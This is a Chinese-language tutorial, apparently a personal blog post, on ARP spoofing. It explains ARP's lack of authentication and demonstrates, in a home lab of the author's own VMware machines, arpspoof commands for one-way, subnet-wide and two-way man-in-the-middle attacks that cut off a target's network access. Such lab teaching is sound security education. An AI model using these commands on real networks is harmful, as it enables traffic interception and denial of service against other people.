arp协议

设备之间的通信是靠MAC地址,ARP(地址解析协议) 的作用就是:根据IP地址,找到对应的MAC地址。

  • 主机A(192.168.1.10)想给主机B(192.168.1.20)发数据
  • A只知道B的IP,不知道B的MAC
  • A广播一个ARP请求:“谁是192.168.1.20?请告诉我你的MAC地址”
  • B收到后单播回复:“我是,我的MAC是 XX:XX:XX:XX:XX:XX”
  • A把这个对应关系存入ARP缓存表,之后就直接用MAC通信了

关键问题在于:ARP协议没有任何认证机制。设备收到ARP回复时,会无条件相信并更新自己的缓存,即使自己根本没发过请求。

攻击者利用这个信任漏洞,发送伪造的ARP响应,把错误的IP-MAC对应关系塞进目标的ARP缓存里。

典型场景(中间人攻击):

正常情况:
  受害者(192.168.1.10)  →  网关(192.168.1.1)

ARP欺骗后:
  受害者认为:网关(192.168.1.1) 的MAC = 攻击者的MAC
  网关认为:  受害者(192.168.1.10) 的MAC = 攻击者的MAC
  
  受害者 → 攻击者 → 网关   (数据全部经过攻击者中转)

攻击者分别向受害者和网关发送伪造ARP包:

  • 对受害者说:“我是网关,我的MAC是攻击者MAC”
  • 对网关说:“我是受害者,我的MAC是攻击者MAC”

这样双方的数据都会先发给攻击者,攻击者可以窃听、篡改、转发,这就是典型的中间人攻击(MITM)。

现在我以vmware为例开始演示我的kali攻击机实施arp断网攻击我的另一台centos虚拟机,同一网段

均为nat模式,均能正常上网

kali网ip:
eth0             UP             192.168.159.128/24 fe80::20c:29ff:fe69:62cd/64
centos网ip:
192.168.159.136

查看当前网段的网关

ip route

单项攻击

  1. 只欺骗靶机,但是不影响网关

sudo arpspoof -i eth0 -t target 网关ip

sudo arpspoof -i eth0 -t 192.168.159.136 192.168.159.2

目标机器视角:

image-20261011213158110

直接搜索网页一直转,网ip,mac地址都在,结束攻击之后正常恢复上网

  1. 欺骗全网段所有主机,容易被发现

sudo arpspoof -i eth0 网关ip

sudo arpspoof -i eth0 192.168.159.2

双向欺骗

开两个终端,各跑一条:

终端 1 —— 告诉靶机:网关的 MAC 是我

sudo arpspoof -i eth0 -t target 网关

终端 2 —— 告诉网关:靶机的 MAC 是我

sudo arpspoof -i eth0 -t 网关 target

-t 指定攻击目标;最后一个参数是"你要冒充谁的 IP"。 第一条:向靶机(192.168.1.50)谎称自己(我方MAC)是网关(192.168.1.1)。 第二条:向网关谎称自己是靶机。两边 ARP 缓存都被污染。

保持两个终端运行,靶机 ARP 表里网关 MAC 变成你的 MAC,出网流量发给你但不转发 → 断网。

注意:中间人攻击能看到目标与网站之间发送的数据包,http会直接暴露明文,htpps则不会